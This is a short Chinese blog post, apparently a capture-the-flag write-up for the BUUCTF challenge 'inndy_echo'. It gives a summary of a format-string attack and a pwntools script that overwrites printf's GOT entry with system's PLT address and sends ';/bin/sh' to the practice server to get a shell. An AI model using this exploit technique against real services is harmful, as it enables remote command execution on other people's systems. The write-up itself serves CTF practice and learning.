BUUCYF之“inndy_echo”接单记录

Hvf0x

于 2021-12-16 09:12:18 发布

阅读量1.6k

点赞数

分类专栏：二进制pwn学习文章标签： pwn

本文链接：https://blog.csdn.net/Probeginner/article/details/121966970

版权

二进制pwn学习专栏收录该内容

28 篇文章

订阅专栏

该篇博客探讨了在远程服务器上通过利用格式字符串漏洞（fmtstr_payload）来修改printf_got寄存器，使其指向system_plt的技巧。由于延迟绑定，直接使用elf.got['system']不可行，因为system函数尚未执行，got表中的地址未被填充。最终，通过注入payload并触发执行'/bin/sh'来实现命令执行。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

from pwn import*
p=remote('node4.buuoj.cn',25844)
context.log_level='debug'
elf=ELF("./echo")
printf_got=elf.got['printf']
system_plt=0x8048400#等价于elf.plt['system']
payload=fmtstr_payload(7,{printf_got:system_plt})
p.sendline(payload)
p.sendline(";/bin/sh\x00")
p.interactive()